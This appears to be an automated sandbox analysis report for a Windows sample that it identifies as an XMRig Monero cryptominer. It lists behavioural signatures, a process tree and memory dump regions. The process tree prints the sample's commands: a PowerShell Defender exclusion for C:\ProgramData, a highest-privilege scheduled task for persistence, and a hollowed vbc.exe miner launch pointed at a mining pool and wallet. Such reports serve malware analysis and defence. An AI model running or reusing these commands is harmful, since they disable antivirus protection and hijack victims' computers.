Analysis
- max time kernel
132s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
04/01/2023, 23:28
General
- Target file.exe
- Size 882KB
- Sample230104-3fzrcade4s
- SHA256 2371a3a7ac61d4daffa56c66420d0bc7ec99f1aa7dd4428f2be4cbb9dc25138f
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2140 -s 36482⤵
- Program crash
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 436 -p 2140 -ip 21401⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/2140-153-0x00007FFC60ED0000-0x00007FFC61991000-memory.dmp
memory/2140-141-0x0000000003210000-0x0000000003253000-memory.dmp
memory/2140-170-0x0000000000480000-0x00000000005C4000-memory.dmp
memory/2140-136-0x00007FFC62AF0000-0x00007FFC62BAD000-memory.dmp
memory/2140-135-0x00007FFC7B1F0000-0x00007FFC7B202000-memory.dmp
memory/2140-138-0x00007FFC60ED0000-0x00007FFC61991000-memory.dmp
memory/2140-140-0x00007FFC7E050000-0x00007FFC7E07B000-memory.dmp
memory/2140-139-0x0000000000480000-0x00000000005C4000-memory.dmp
memory/2140-142-0x0000000000480000-0x00000000005C4000-memory.dmp
memory/2140-143-0x0000000000480000-0x00000000005C4000-memory.dmp
memory/2140-144-0x00007FFC629A0000-0x00007FFC62AEE000-memory.dmp
memory/2140-157-0x00007FFC5CD20000-0x00007FFC5CE22000-memory.dmp
memory/2140-145-0x00007FFC60ED0000-0x00007FFC61991000-memory.dmp
memory/2140-146-0x00007FFC7D320000-0x00007FFC7D347000-memory.dmp
memory/2140-169-0x00007FFC60ED0000-0x00007FFC61991000-memory.dmp
memory/2140-168-0x00007FFC61EC0000-0x00007FFC6202A000-memory.dmp
memory/2140-133-0x00007FFC62BB0000-0x00007FFC62C5A000-memory.dmp
memory/2140-159-0x00007FFC7C6A0000-0x00007FFC7C6DB000-memory.dmp
memory/2140-151-0x0000000000480000-0x00000000005C4000-memory.dmp
memory/2140-152-0x0000000003210000-0x0000000003253000-memory.dmp
memory/2140-134-0x00007FFC7EA10000-0x00007FFC7EAAE000-memory.dmp
memory/2140-158-0x00007FFC7F050000-0x00007FFC7F0BB000-memory.dmp
memory/2140-137-0x00007FFC7E110000-0x00007FFC7E2B1000-memory.dmp
memory/2140-156-0x00007FFC63200000-0x00007FFC63235000-memory.dmp
memory/2272-164-0x0000024B3AB60000-0x0000024B3AB80000-memory.dmp
memory/2272-166-0x0000024B3C540000-0x0000024B3C580000-memory.dmp
memory/2272-174-0x0000024B3C5A0000-0x0000024B3C5C0000-memory.dmp
memory/2272-160-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2272-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2272-163-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2272-173-0x0000024B3C580000-0x0000024B3C5A0000-memory.dmp
memory/2272-165-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2272-172-0x0000024B3C5A0000-0x0000024B3C5C0000-memory.dmp
memory/2272-167-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2272-171-0x0000024B3C580000-0x0000024B3C5A0000-memory.dmp
memory/4736-148-0x000001C458750000-0x000001C458772000-memory.dmp
memory/4736-149-0x00007FFC60ED0000-0x00007FFC61991000-memory.dmp
memory/4736-150-0x00007FFC60ED0000-0x00007FFC61991000-memory.dmp